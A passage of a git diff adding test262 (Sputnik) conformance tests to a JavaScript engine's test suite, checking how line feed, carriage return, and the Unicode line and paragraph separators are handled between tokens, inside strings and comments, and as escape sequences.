+ $ERROR('#4: eval("\\n" + "var" + "\\n" + "x" + "\\n" + "=" + "\\n" + "1" + "\\n"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+eval("\u000A" + "var" + "\n" + "x" + "\u000A" + "=" + "\n" + "1" + "\u000A");
+if (x !== 1) {
+ $ERROR('#5: eval("\\u000A" + "var" + "\\n" + "x" + "\\u000A" + "=" + "\\n" + "1" + "\\u000A"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A1.1_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A1.1_T2.js
new file mode 100644
index 000000000..b4780361b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A1.1_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * LINE FEED (U+000A) may occur between any two tokens
+ *
+ * @path ch07/7.3/S7.3_A1.1_T2.js
+ * @description Insert real LINE FEED between tokens of var x=1
+ */
+
+//CHECK#1
+var
+x
+=
+1;
+if (x !== 1) {
+ $ERROR('#1: var\\nx\\n=\\n1\\n; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A1.2_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A1.2_T1.js
new file mode 100644
index 000000000..bb11122f7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A1.2_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CARRIAGE RETURN (U+000D) may occur between any two tokens
+ *
+ * @path ch07/7.3/S7.3_A1.2_T1.js
+ * @description Insert CARRIAGE RETURN (\u000D and \r) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u000Dvar\u000Dx\u000D=\u000D1\u000D");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u000Dvar\\u000Dx\\u000D=\\u000D1\\u000D"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval("\u000D" + "var" + "\u000D" + "x" + "\u000D" + "=" + "\u000D" + "1" + "\u000D");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u000D" + "var" + "\\u000D" + "x" + "\\u000D" + "=" + "\\u000D" + "1" + "\\u000D"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+eval("\rvar\rx\r=\r1\r");
+if (x !== 1) {
+ $ERROR('#3: eval("\\rvar\\rx\\r=\\r1\\r"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+eval("\r" + "var" + "\r" + "x" + "\r" + "=" + "\r" + "1" + "\r");
+if (x !== 1) {
+ $ERROR('#4: eval("\\r" + "var" + "\\r" + "x" + "\\r" + "=" + "\\r" + "1" + "\\r"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+eval("\u000D" + "var" + "\r" + "x" + "\u000D" + "=" + "\r" + "1" + "\u000D");
+if (x !== 1) {
+ $ERROR('#5: eval("\\u000D" + "var" + "\\r" + "x" + "\\u000D" + "=" + "\\r" + "1" + "\\u000D"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A1.2_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A1.2_T2.js
new file mode 100644
index 000000000..52fb9b52a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A1.2_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CARRIAGE RETURN (U+000D) may occur between any two tokens
+ *
+ * @path ch07/7.3/S7.3_A1.2_T2.js
+ * @description Insert real CARRIAGE RETURN between tokens of var x=1
+ */
+
+//CHECK#1
+var
+x
+=
+1;
+if (x !== 1) {
+ $ERROR('#1: var\\nx\\n=\\n1\\n; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A1.3.js b/js/src/tests/test262/ch07/7.3/S7.3_A1.3.js
new file mode 100644
index 000000000..bf8281937
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A1.3.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * LINE SEPARATOR (U+2028) may occur between any two tokens
+ *
+ * @path ch07/7.3/S7.3_A1.3.js
+ * @description Insert LINE SEPARATOR (\u2028) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u2028var\u2028x\u2028=\u20281\u2028");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u2028var\\u2028x\\u2028=\\u20281\\u2028"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval("\u2028" + "var" + "\u2028" + "x" + "\u2028" + "=" + "\u2028" + "1" + "\u2028");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u2028" + "var" + "\\u2028" + "x" + "\\u2028" + "=" + "\\u2028" + "1" + "\\u2028"); x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A1.4.js b/js/src/tests/test262/ch07/7.3/S7.3_A1.4.js
new file mode 100644
index 000000000..f761d0376
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A1.4.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * PARAGRAPH SEPARATOR (U+2029) may occur between any two tokens
+ *
+ * @path ch07/7.3/S7.3_A1.4.js
+ * @description Insert PARAGRAPH SEPARATOR (\u2029) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u2029var\u2029x\u2029=\u20291\u2029");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u2029var\\u2029x\\u2029=\\u20291\\u2029"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval("\u2029" + "var" + "\u2029" + "x" + "\u2029" + "=" + "\u2029" + "1" + "\u2029");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u2029" + "var" + "\\u2029" + "x" + "\\u2029" + "=" + "\\u2029" + "1" + "\\u2029"); x === 1. Actual: ' + (x));
+}
+
+
+
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A2.1_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A2.1_T1.js
new file mode 100644
index 000000000..16cb25e69
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A2.1_T1.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * LINE FEED (U+000A) within strings is not allowed
+ *
+ * @path ch07/7.3/S7.3_A2.1_T1.js
+ * @description Insert LINE FEED (\u000A) into string
+ * @negative
+ */
+
+// CHECK#1
+if (eval("'\u000Astr\u000Aing\u000A'") === "\u000Astr\u000Aing\u000A") {
+ $ERROR('#1: eval("\'\\u000Astr\\u000Aing\\u000A\'") === "\\u000Astr\\u000Aing\\u000A"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A2.1_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A2.1_T2.js
new file mode 100644
index 000000000..f587ec97e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A2.1_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * LINE FEED (U+000A) within strings is not allowed
+ *
+ * @path ch07/7.3/S7.3_A2.1_T2.js
+ * @description Use real LINE FEED into string
+ * @negative
+ */
+
+//CHECK#1
+"
+str
+ing
+";
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A2.2_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A2.2_T1.js
new file mode 100644
index 000000000..b58d20227
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A2.2_T1.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CARRIAGE RETURN (U+000D) within strings is not allowed
+ *
+ * @path ch07/7.3/S7.3_A2.2_T1.js
+ * @description Insert CARRIAGE RETURN (\u000D) into string
+ * @negative
+ */
+
+// CHECK#1
+if (eval("'\u000Dstr\u000Ding\u000D'") === "\u000Dstr\u000Ding\u000D") {
+ $ERROR('#1: eval("\'\\u000Dstr\\u000Ding\\u000D\'") === "\\u000Dstr\\u000Ding\\u000D"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A2.2_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A2.2_T2.js
new file mode 100644
index 000000000..9e8c5e30d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A2.2_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CARRIAGE RETURN (U+000D) within strings is not allowed
+ *
+ * @path ch07/7.3/S7.3_A2.2_T2.js
+ * @description Insert real CARRIAGE RETURN into string
+ * @negative
+ */
+
+//CHECK#1
+"
+str
+ing
+";
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A2.3.js b/js/src/tests/test262/ch07/7.3/S7.3_A2.3.js
new file mode 100644
index 000000000..645dfaaf3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A2.3.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * LINE SEPARATOR (U+2028) within strings is not allowed
+ *
+ * @path ch07/7.3/S7.3_A2.3.js
+ * @description Insert LINE SEPARATOR (\u2028) into string
+ * @negative
+ */
+
+// CHECK#1
+if (eval("'\u2028str\u2028ing\u2028'") === "\u2028str\u2028ing\u2028") {
+ $ERROR('#1: eval("\'\\u2028str\\u2028ing\\u2028\'") === "\\u2028str\\u2028ing\\u2028"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A2.4.js b/js/src/tests/test262/ch07/7.3/S7.3_A2.4.js
new file mode 100644
index 000000000..00e185037
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A2.4.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * PARAGRAPH SEPARATOR (U+2029) within strings is not allowed
+ *
+ * @path ch07/7.3/S7.3_A2.4.js
+ * @description Insert PARAGRAPH SEPARATOR (\u2029) into string
+ * @negative
+ */
+
+// CHECK#1
+if (eval("'\u2029str\u2029ing\u2029'") === "\u2029str\u2029ing\u2029") {
+ $ERROR('#1: eval("\'\\u2029str\\u2029ing\\u2029\'") === "\\u2029str\\u2029ing\\u2029"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T1.js
new file mode 100644
index 000000000..f44c153cf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain LINE FEED (U+000A) inside
+ *
+ * @path ch07/7.3/S7.3_A3.1_T1.js
+ * @description Insert LINE FEED (\u000A) into single line comment
+ * @negative
+ */
+
+// CHECK#1
+eval("// single line \u000A comment");
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T2.js
new file mode 100644
index 000000000..cb808a87a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain LINE FEED (U+000A) inside
+ *
+ * @path ch07/7.3/S7.3_A3.1_T2.js
+ * @description Insert LINE FEED (\u000A) into begin of single line comment
+ * @negative
+ */
+
+// CHECK#1
+eval("//\u000A single line comment");
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T3.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T3.js
new file mode 100644
index 000000000..6394c939c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.1_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain LINE FEED (U+000A) inside
+ *
+ * @path ch07/7.3/S7.3_A3.1_T3.js
+ * @description Insert real LINE FEED into single line comment
+ * @negative
+ */
+
+// CHECK#1
+//single
+line comment
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T1.js
new file mode 100644
index 000000000..2fa270693
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain CARRIAGE RETURN (U+000D) inside
+ *
+ * @path ch07/7.3/S7.3_A3.2_T1.js
+ * @description Insert CARRIAGE RETURN (\u000D) into single line comment
+ * @negative
+ */
+
+// CHECK#1
+eval("// single line \u000D comment");
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T2.js
new file mode 100644
index 000000000..9ffdc5cf9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain CARRIAGE RETURN (U+000D) inside
+ *
+ * @path ch07/7.3/S7.3_A3.2_T2.js
+ * @description Insert CARRIAGE RETURN (\u000D) into begin of single line comment
+ * @negative
+ */
+
+// CHECK#1
+eval("//\u000D single line comment");
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T3.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T3.js
new file mode 100644
index 000000000..d16ee33be
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.2_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain CARRIAGE RETURN (U+000D) inside
+ *
+ * @path ch07/7.3/S7.3_A3.2_T3.js
+ * @description Insert real CARRIAGE RETURN into single line comment
+ * @negative
+ */
+
+// CHECK#1
+//single
+line comment
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.3_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.3_T1.js
new file mode 100644
index 000000000..ae926c456
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.3_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain LINE SEPARATOR (U+2028) inside
+ *
+ * @path ch07/7.3/S7.3_A3.3_T1.js
+ * @description Insert LINE SEPARATOR (\u2028) into single line comment
+ * @negative
+ */
+
+// CHECK#1
+eval("// single line \u2028 comment");
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.3_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.3_T2.js
new file mode 100644
index 000000000..43ff45843
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.3_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain LINE SEPARATOR (U+2028) inside
+ *
+ * @path ch07/7.3/S7.3_A3.3_T2.js
+ * @description Insert LINE SEPARATOR (\u2028) into begin of single line comment
+ * @negative
+ */
+
+// CHECK#1
+eval("//\u2028 single line comment");
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.4_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.4_T1.js
new file mode 100644
index 000000000..1a8fae53f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.4_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain PARAGRAPH SEPARATOR (U+2029) inside
+ *
+ * @path ch07/7.3/S7.3_A3.4_T1.js
+ * @description Insert PARAGRAPH SEPARATOR (\u2029) into single line comment
+ * @negative
+ */
+
+// CHECK#1
+eval("// single line \u2029 comment");
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A3.4_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A3.4_T2.js
new file mode 100644
index 000000000..8a6c59d8d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A3.4_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can not contain PARAGRAPH SEPARATOR (U+2029) inside
+ *
+ * @path ch07/7.3/S7.3_A3.4_T2.js
+ * @description Insert PARAGRAPH SEPARATOR (\u2029) into begin of single line comment
+ * @negative
+ */
+
+// CHECK#1
+eval("//\u2029 single line comment");
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A4_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A4_T1.js
new file mode 100644
index 000000000..df523f9a3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A4_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can contain Line Terminator at the end of line
+ *
+ * @path ch07/7.3/S7.3_A4_T1.js
+ * @description Insert LINE FEED (U+000A) into the end of single line comment
+ */
+
+// CHECK#1
+eval("// single line comment\u000A");
+
+// CHECK#2
+var x = 0;
+eval("// single line comment\u000A x = 1;");
+if (x !== 1) {
+ $ERROR('#1: var x = 0; eval("// single line comment\\u000A x = 1;"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A4_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A4_T2.js
new file mode 100644
index 000000000..d99dc7dc1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A4_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can contain Line Terminator at the end of line
+ *
+ * @path ch07/7.3/S7.3_A4_T2.js
+ * @description Insert CARRIAGE RETURN (U+000D) into the end of single line comment
+ */
+
+// CHECK#1
+eval("// single line comment\u000D");
+
+// CHECK#2
+var x = 0;
+eval("// single line comment\u000D x = 1;");
+if (x !== 1) {
+ $ERROR('#1: var x = 0; eval("// single line comment\\u000D x = 1;"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A4_T3.js b/js/src/tests/test262/ch07/7.3/S7.3_A4_T3.js
new file mode 100644
index 000000000..5677bc0cd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A4_T3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can contain Line Terminator at the end of line
+ *
+ * @path ch07/7.3/S7.3_A4_T3.js
+ * @description Insert LINE SEPARATOR (U+2028) into the end of single line comment
+ */
+
+// CHECK#1
+eval("// single line comment\u2028");
+
+// CHECK#2
+var x = 0;
+eval("// single line comment\u2028 x = 1;");
+if (x !== 1) {
+ $ERROR('#1: var x = 0; eval("// single line comment\\u2028 x = 1;"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A4_T4.js b/js/src/tests/test262/ch07/7.3/S7.3_A4_T4.js
new file mode 100644
index 000000000..c34f0e15e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A4_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comments can contain Line Terminator at the end of line
+ *
+ * @path ch07/7.3/S7.3_A4_T4.js
+ * @description Insert PARAGRAPH SEPARATOR (U+2029) into the end of single line comment
+ */
+
+// CHECK#1
+eval("// single line comment\u2029");
+
+// CHECK#2
+var x = 0;
+eval("// single line comment\u2029 x = 1;");
+if (x !== 1) {
+ $ERROR('#1: var x = 0; eval("// single line comment\\u2029 x = 1;"); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A5.1_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A5.1_T1.js
new file mode 100644
index 000000000..fe8d7173e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A5.1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain LINE FEED (U+000A)
+ *
+ * @path ch07/7.3/S7.3_A5.1_T1.js
+ * @description Insert LINE FEED (U+000A) into multi line comment
+ */
+
+// CHECK#1
+eval("/*\u000A multi line \u000A comment \u000A*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u000A multi line \u000A comment \u000A x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u000A multi line \\u000A comment \\u000A x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A5.1_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A5.1_T2.js
new file mode 100644
index 000000000..661df860e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A5.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain LINE FEED (U+000A)
+ *
+ * @path ch07/7.3/S7.3_A5.1_T2.js
+ * @description Insert real LINE FEED into multi line comment
+ */
+
+/*CHECK#1*/
+var x = 0;
+/*
+multi
+line
+comment
+x = 1;
+*/
+if (x !== 0) {
+ $ERROR('#1: var x = 0; /*\\nmulti\\nline\\ncomment\\nx = 1;\\n*/ x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A5.2_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A5.2_T1.js
new file mode 100644
index 000000000..20c5dd194
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A5.2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain CARRIAGE RETURN (U+000D)
+ *
+ * @path ch07/7.3/S7.3_A5.2_T1.js
+ * @description Insert CARRIAGE RETURN (U+000D) into multi line comment
+ */
+
+// CHECK#1
+eval("/*\u000D multi line \u000D comment \u000D*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u000D multi line \u000D comment \u000D x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u000D multi line \\u000D comment \\u000D x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A5.2_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A5.2_T2.js
new file mode 100644
index 000000000..a83a2be2d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A5.2_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain CARRIAGE RETURN (U+000D)
+ *
+ * @path ch07/7.3/S7.3_A5.2_T2.js
+ * @description Insert real CARRIAGE RETURN into multi line comment
+ */
+
+/*CHECK#1*/
+var x = 0;
+/*
+multi
+line
+comment
+x = 1;
+*/
+if (x !== 0) {
+ $ERROR('#1: var x = 0; /*\\rmulti\\rline\\rcomment\\rx = 1;\\r*/ x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A5.3.js b/js/src/tests/test262/ch07/7.3/S7.3_A5.3.js
new file mode 100644
index 000000000..501392bc0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A5.3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain LINE SEPARATOR (U+2028)
+ *
+ * @path ch07/7.3/S7.3_A5.3.js
+ * @description Insert LINE SEPARATOR (U+2028) into multi line comment
+ */
+
+// CHECK#1
+eval("/*\u2028 multi line \u2028 comment \u2028*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u2028 multi line \u2028 comment \u2028 x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u2028 multi line \\u2028 comment \\u2028 x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A5.4.js b/js/src/tests/test262/ch07/7.3/S7.3_A5.4.js
new file mode 100644
index 000000000..8f8597477
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A5.4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain LINE SEPARATOR (U+2029)
+ *
+ * @path ch07/7.3/S7.3_A5.4.js
+ * @description Insert PARAGRAPH SEPARATOR (U+2029) into multi line comment
+ */
+
+// CHECK#1
+eval("/*\u2029 multi line \u2029 comment \u2029*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u2029 multi line \u2029 comment \u2029 x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u2029 multi line \\u2029 comment \\u2029 x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A6_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A6_T1.js
new file mode 100644
index 000000000..89b3751f6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A6_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.3/S7.3_A6_T1.js
+ * @description Insert LINE FEED (U+000A) in var x
+ * @negative
+ */
+
+var\u000Ax;
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A6_T2.js b/js/src/tests/test262/ch07/7.3/S7.3_A6_T2.js
new file mode 100644
index 000000000..3dc52d206
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A6_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.3/S7.3_A6_T2.js
+ * @description Insert CARRIAGE RETURN (U+000D) in var x
+ * @negative
+ */
+
+var\u000Dx;
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A6_T3.js b/js/src/tests/test262/ch07/7.3/S7.3_A6_T3.js
new file mode 100644
index 000000000..62d6ef10f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A6_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.3/S7.3_A6_T3.js
+ * @description Insert LINE SEPARATOR (U+2028) in var x
+ * @negative
+ */
+
+var\u2028x;
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A6_T4.js b/js/src/tests/test262/ch07/7.3/S7.3_A6_T4.js
new file mode 100644
index 000000000..cd5d2d40a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A6_T4.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.3/S7.3_A6_T4.js
+ * @description Insert PARAGRAPH SEPARATOR (U+2029) in var x
+ * @negative
+ */
+
+var\u2029x;
+
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A7_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A7_T1.js
new file mode 100644
index 000000000..861b737e4
--- /dev/null
